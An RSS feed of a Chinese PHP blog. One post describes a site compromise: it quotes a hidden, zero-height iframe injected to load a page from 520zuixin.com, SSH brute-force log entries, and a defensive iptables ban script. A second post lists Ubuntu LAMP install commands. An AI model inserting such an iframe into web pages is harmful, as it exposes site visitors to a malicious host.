<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>记录与PHP的PK经历 &#187; 服务器</title>
	<atom:link href="http://www.pkphp.com/tag/%e6%9c%8d%e5%8a%a1%e5%99%a8/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.pkphp.com</link>
	<description>PK with php!</description>
	<lastBuildDate>Fri, 27 May 2011 02:07:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>如何防止服务器被暴力破解密码？</title>
		<link>http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/</link>
		<comments>http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/#comments</comments>
		<pubDate>Sat, 30 Aug 2008 06:24:03 +0000</pubDate>
		<dc:creator>askie</dc:creator>
				<category><![CDATA[LAMP]]></category>
		<category><![CDATA[百宝箱]]></category>
		<category><![CDATA[520zuixin.com]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[暴力]]></category>
		<category><![CDATA[服务器]]></category>
		<category><![CDATA[木马]]></category>

		<guid isPermaLink="false">http://www.pkphp.com/?p=542</guid>
		<description><![CDATA[今天访问自己的一个网站，突然发现第一打开的时候页面上出现了一个黑色的图框，很小的那种，而且网页的css文件也没有加载，刷新后才会加载。于是我查看了网页源代码，这一看吓我一跳，很不幸的事情出现了，我的网站被挂马了，网页开头出现了如下代码：


   1: &#60;iframe src=http://520zuixin.com/cn5.htm width=50 he...]]></description>
			<content:encoded><![CDATA[<p>今天访问自己的一个网站，突然发现第一打开的时候页面上出现了一个黑色的图框，很小的那种，而且网页的css文件也没有加载，刷新后才会加载。于是我查看了网页源代码，这一看吓我一跳，很不幸的事情出现了，我的网站被挂马了，网页开头出现了如下代码：</p>
<div style="border: 1px solid gray; margin: 20px 0px 10px; padding: 4px; overflow: auto; font-size: 8pt; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;">
<div style="border-style: none; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;">
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   1:</span> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">iframe</span> <span style="color: #ff0000;">src</span>=<span style="color: #ff0000;">http:</span>//<span style="color: #ff0000;">520zuixin</span>.<span style="color: #ff0000;">com</span>/<span style="color: #ff0000;">cn5</span>.<span style="color: #ff0000;">htm</span> <span style="color: #ff0000;">width</span>=<span style="color: #ff0000;">50</span> <span style="color: #ff0000;">height</span>=<span style="color: #ff0000;">0</span><span style="color: #0000ff;">&gt;&lt;/</span><span style="color: #800000;">iframe</span><span style="color: #0000ff;">&gt;</span></pre>
</div>
</div>
<p>马上登录服务器查看该网站代码，没找到异常，这是一件很奇怪的事情。代码是如何被插入到网页开头呢？难道在apache做了手脚？这个问题还没有查清楚，先放下这个问题。去查看服务器的安装记录。</p>
<p>当打开/var/logs/secure文件时，发现了很多利用ssh来暴力破解登录的记录，如下</p>
<div style="border: 1px solid gray; margin: 20px 0px 10px; padding: 4px; overflow: auto; font-size: 8pt; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;">
<div style="border-style: none; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;">
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   1:</span> Aug 29 16:27:23 fgb sshd[31098]: Failed password for root from 189.205.132.145 port 49920 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">   2:</span> Aug 29 16:27:28 fgb sshd[31100]: Failed password for root from 189.205.132.145 port 55661 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   3:</span> Aug 29 16:27:33 fgb sshd[31103]: Failed password for root from 189.205.132.145 port 33579 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">   4:</span> Aug 29 16:27:37 fgb sshd[31106]: Failed password for root from 189.205.132.145 port 39344 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   5:</span> Aug 29 16:27:42 fgb sshd[31115]: Failed password for root from 189.205.132.145 port 45117 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">   6:</span> Aug 29 16:27:46 fgb sshd[31124]: Failed password for root from 189.205.132.145 port 50881 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   7:</span> Aug 29 16:27:52 fgb sshd[31126]: Failed password for root from 189.205.132.145 port 56359 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">   8:</span> Aug 29 16:27:57 fgb sshd[31128]: Failed password for root from 189.205.132.145 port 35882 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   9:</span> Aug 29 16:28:02 fgb sshd[31130]: Failed password for root from 189.205.132.145 port 41888 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  10:</span> Aug 29 16:28:08 fgb sshd[31132]: Failed password for root from 189.205.132.145 port 47882 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">  11:</span> Aug 29 16:28:12 fgb sshd[31134]: Failed password for root from 189.205.132.145 port 53121 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  12:</span> Aug 29 16:28:17 fgb sshd[31136]: Failed password for root from 189.205.132.145 port 59014 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">  13:</span> Aug 29 16:28:21 fgb sshd[31139]: Failed password for root from 189.205.132.145 port 36742 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  14:</span></pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">  15:</span> Aug 29 17:24:13 fgb sshd[32749]: Did not receive identification string from 220.231.81.140</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  16:</span> Aug 29 17:28:50 fgb sshd[432]: Illegal user admin from 220.231.81.140</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">  17:</span> Aug 29 17:28:57 fgb sshd[450]: Failed password for root from 220.231.81.140 port 59843 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  18:</span> Aug 29 17:29:04 fgb sshd[452]: Illegal user stud from 220.231.81.140</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">  19:</span> Aug 29 17:29:11 fgb sshd[454]: Illegal user trash from 220.231.81.140</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  20:</span> Aug 29 17:29:17 fgb sshd[457]: Illegal user gt05 from 220.231.81.140</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">  21:</span> Aug 29 17:29:22 fgb sshd[463]: Illegal user william from 220.231.81.140</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  22:</span> Aug 29 17:29:26 fgb sshd[465]: Illegal user stephanie from 220.231.81.140</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">  23:</span> Aug 29 17:29:37 fgb sshd[468]: Failed password for root from 220.231.81.140 port 60795 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  24:</span> Aug 29 17:29:48 fgb sshd[471]: Failed password for root from 220.231.81.140 port 61017 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">  25:</span> Aug 29 18:16:24 fgb sshd[1638]: warning: can't get client address: Connection reset by peer</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  26:</span> Aug 29 18:16:24 fgb sshd[1638]: Could not write ident string to 219.142.141.194</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">  27:</span> Aug 29 18:16:29 fgb sshd[1639]: Accepted password for root from 219.142.141.194 port 30436 ssh2</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  28:</span> Aug 29 18:16:37 fgb sshd[2650]: Received signal 15; terminating.</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">  29:</span> Aug 29 18:19:07 fgb sshd[2643]: Server listening on 0.0.0.0 port 22.</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  30:</span> Aug 29 18:19:31 fgb sshd[2712]: Accepted password for root from 219.142.141.194 port 30477 ssh2</pre>
</div>
</div>
<p>类似这样子的记录很多，看来有很多垃圾的人在破解我的服务器密码！现在垃圾和无聊的家伙还真多啊！我都懒的骂你们了！有本事去搞美国、去搞日本、去搞法国，在国内捣乱算什么东西！</p>
<p>骂归骂，但是还是要想办法制止密码被破解，后来在网站找到了一段代码，这段代码如下：</p>
<div style="border: 1px solid gray; margin: 20px 0px 10px; padding: 4px; overflow: auto; font-size: 8pt; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;">
<div style="border-style: none; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;">
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   1:</span> #!/bin/sh</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">   2:</span> SCANIP=`grep <span style="color: #006080;">"Failed"</span> /var/log/secure | awk <span style="color: #006080;">'{print $(NF-3)}'</span> |sort|uniq -c|awk <span style="color: #006080;">'{print $1"="$2;}'</span>`</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   3:</span> <span style="color: #0000ff;">for</span> i <span style="color: #0000ff;">in</span> $SCANIP</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">   4:</span> <span style="color: #0000ff;">do</span></pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   5:</span> NUMBER=`echo $i|awk -F= <span style="color: #006080;">'{print $1}'</span>`</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">   6:</span> SCANIP=`echo $i|awk -F= <span style="color: #006080;">'{print $2}'</span>`</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   7:</span> echo <span style="color: #006080;">"$NUMBER($SCANIP)"</span></pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">   8:</span> <span style="color: #0000ff;">if</span> [ $NUMBER -gt 10 ] &amp;&amp; [ -z <span style="color: #006080;">"`iptables -vnL INPUT|grep $SCANIP`"</span> ]</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   9:</span> then</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  10:</span> /sbin/iptables -I INPUT -s $SCANIP -m state --state NEW,RELATED,ESTABLISHED -j DROP</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">  11:</span> echo <span style="color: #006080;">"`date` $SCANIP($NUMBER)"</span> &gt;&gt; /var/log/scanip.log</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">  12:</span> fi</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">  13:</span> done</pre>
</div>
</div>
<p>这段代码作用是：扫描secure安全日志文件，发现超过10次非法链接的ip，将其列入iptable防火墙禁止列表，并保存在记录文件中。将这段代码进行定时执行，就可以防止暴力破解的问题。经过这段代码首次扫描后，得到了如下的非法ip记录，这些ip已经被ban了！看这个结果就知道了有个垃圾ip居然非法扫描了我5000多次！</p>
<div style="border: 1px solid gray; margin: 20px 0px 10px; padding: 4px; overflow: auto; font-size: 8pt; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;">
<div style="border-style: none; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;">
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   1:</span> 六  8月 30 13:50:55 CST 2008 123.30.0.68(52)</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">   2:</span> 六  8月 30 13:50:55 CST 2008 189.205.132.145(324)</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   3:</span> 六  8月 30 13:50:54 CST 2008 201.6.150.22(41)</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">   4:</span> 六  8月 30 13:50:54 CST 2008 202.102.144.8(13)</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   5:</span> 六  8月 30 13:50:55 CST 2008 219.238.183.30(162)</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: #f4f4f4;"><span style="color: #606060;">   6:</span> 六  8月 30 13:50:54 CST 2008 222.174.167.162(5058)</pre>
<pre style="border-style: none; margin: 0em; padding: 0px; overflow: visible; font-size: 8pt; width: 100%; color: black; line-height: 12pt; font-family: consolas,'Courier New',courier,monospace; background-color: white;"><span style="color: #606060;">   7:</span> 六  8月 30 13:50:54 CST 2008 61.139.209.141(40)</pre>
</div>
</div>
<p>关于被挂的那段代码怎么插入到我的网站，我继续研究一下，有了结果会记录在这里的！<br />
<h3 class="bsuite_related">Related items</h3>
<ul class="bsuite_related">
<li><a href='http://www.pkphp.com/2011/04/07/centos-iftop/'>centOS带宽实时流量查看工具</a></li>
<li><a href='http://www.pkphp.com/2008/10/06/svn-authentication-realm/'>svn错误：Authentication realm 解决办法</a></li>
<li><a href='http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/'>今日到南京上网，发现偶尔打开的网页出现如下代码</a></li>
<li><a href='http://www.pkphp.com/2008/08/30/linux%e4%b8%8b%e7%9a%84%e8%84%9a%e6%9c%ac%e6%96%87%e4%bb%b6%e8%a6%81%e6%b3%a8%e6%84%8f%e6%8d%a2%e8%a1%8c%e7%ac%a6%e4%b8%8ewindows%e4%b8%8d%e5%90%8c%ef%bc%81/'>linux下的脚本文件要注意换行符与Windows不同！</a></li>
<li><a href='http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/'>Ubuntu下安装 apache+php+mysql文本服务器！</a></li>
</ul>
<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="服务器怎样防止暴力破解" style="font-size: 13px;">服务器怎样防止暴力破解</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="220.231.81.140" style="font-size: 13px;">220.231.81.140</a>(2)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="php破解密码" style="font-size: 13px;">php破解密码</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="iptables 如何防止病毒" style="font-size: 13px;">iptables 如何防止病毒</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="防止利用SSH攻击 办法" style="font-size: 13px;">防止利用SSH攻击 办法</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="php密码暴力破解" style="font-size: 13px;">php密码暴力破解</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="61.139.209.141" style="font-size: 13px;">61.139.209.141</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="Failed password for from port ssh2" style="font-size: 13px;">Failed password for from port ssh2</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="ssh破解密码" style="font-size: 13px;">ssh破解密码</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="PHP 记录 IP" style="font-size: 13px;">PHP 记录 IP</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="sshd 暴力破解保护" style="font-size: 13px;">sshd 暴力破解保护</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="php网站 密码破解" style="font-size: 13px;">php网站 密码破解</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="ssh 怎样 暴力破解密码" style="font-size: 13px;">ssh 怎样 暴力破解密码</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="ssh 破解" style="font-size: 13px;">ssh 破解</a>(1)<a href="http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/" title="求暴力破解PHP网页" style="font-size: 13px;">求暴力破解PHP网页</a>(1)<br /><p><div id="relatedlinks_container_div"></div>
<script language=javascript defer>
  var escFun = window.encodeURIComponent ? window.encodeURIComponent : escape;
  var relatedlinks_js = document.createElement("script");
  relatedlinks_js.setAttribute("charset", "utf-8");
  relatedlinks_js.src = "http://relatedlinks.googlelabs.com/client/client.js?url=" +
      escFun(document.URL) + "&referrer=" + escFun(document.referrer) +
      "&relatedlinks_id=10098_5845376649736343543&title=" + escFun(document.title);
  document.getElementsByTagName("head")[0].appendChild(relatedlinks_js);
</script></p> ]]></content:encoded>
			<wfw:commentRss>http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Ubuntu下安装 apache+php+mysql文本服务器！</title>
		<link>http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/</link>
		<comments>http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/#comments</comments>
		<pubDate>Mon, 11 Aug 2008 10:33:52 +0000</pubDate>
		<dc:creator>askie</dc:creator>
				<category><![CDATA[LAMP]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[服务器]]></category>

		<guid isPermaLink="false">http://www.pkphp.com/?p=495</guid>
		<description><![CDATA[ubuntu实在是太牛了，很简单的方法就安装完毕web服务器，只需要按顺序执行以下命令即可： Once again, here&#8217;s my updated simple installation of Apache, PHP and MySQL in Ubuntu 8.04 LTS (Hardy Heron) Server. Install SSH Client and Server (for my remote access) sudo apt-get install ssh Install Database Server sudo apt-get install mysql-server-5.0 Install Apache HTTP Server sudo apt-get install apache2 Install PHP5 and Apache PHP5 module sudo [...]]]></description>
			<content:encoded><![CDATA[<p>ubuntu实在是太牛了，很简单的方法就安装完毕web服务器，只需要按顺序执行以下命令即可：</p>
<p>Once again, here&#8217;s my updated simple installation of Apache, PHP and MySQL in Ubuntu 8.04 LTS (Hardy Heron) Server.</p>
<p>Install SSH Client and Server (for my remote access)<br />
<code>sudo apt-get install ssh<br />
</code><br />
Install Database Server<br />
<code>sudo apt-get install mysql-server-5.0<br />
</code><br />
Install Apache HTTP Server<br />
<code>sudo apt-get install apache2<br />
</code><br />
Install PHP5 and Apache PHP5 module<br />
<code>sudo apt-get install php5 libapache2-mod-php5<br />
</code><br />
Restart Apache<br />
<code>sudo /etc/init.d/apache2 restart<br />
</code><br />
Optionally, install phpMyAdmin<br />
<code>sudo apt-get install phpmyadmin<br />
</code></p>
<p>Enjoy!</p>
<p>怎么样？简单吧！除去下载的时间，要不了一分钟就可以完成配置，在 Ubuntu 上还需要 APM 包吗？还是记住以下几个命令和位置就行了。</p>
<p><code>sudo /etc/init.d/apache2 restart （重启 apache）</code></p>
<p><code>sudo gedit /etc/php5/apache2/php.ini （配置 php.ini）</code></p>
<p><code>sudo gedit /etc/apache2/apache2.conf （配置 apache2.conf）</code></p>
<p><code>/var/www/（主目录位置）</code><br />
<h3 class="bsuite_related">Related items</h3>
<ul class="bsuite_related">
<li><a href='http://www.pkphp.com/2009/02/17/%e8%bd%ac%e5%bc%80%e6%ba%90php%e4%b8%ad%e6%96%87%e5%88%86%e8%af%8d%e6%89%a9%e5%b1%95phpcws-100%e5%8f%91%e5%b8%83%e5%95%a6/'>[转]开源PHP中文分词扩展:PHPCWS 1.0.0发布啦</a></li>
<li><a href='http://www.pkphp.com/2008/10/04/linux%e5%ae%89%e8%a3%85awstats%e5%af%b9apache%e6%97%a5%e5%bf%97%e8%bf%9b%e8%a1%8c%e7%9b%91%e6%b5%8b/'>linux安装awstats对apache日志进行监测</a></li>
<li><a href='http://www.pkphp.com/2008/09/29/ubuntu-remote-desktop-nxclient-nxserver-nxnode/'>如何实现ubuntu桌面远程控制？</a></li>
<li><a href='http://www.pkphp.com/2008/09/02/apache-config-directory-virtualhost/'>apache中虚拟目录和虚拟主机设置</a></li>
<li><a href='http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/'>如何防止服务器被暴力破解密码？</a></li>
</ul>
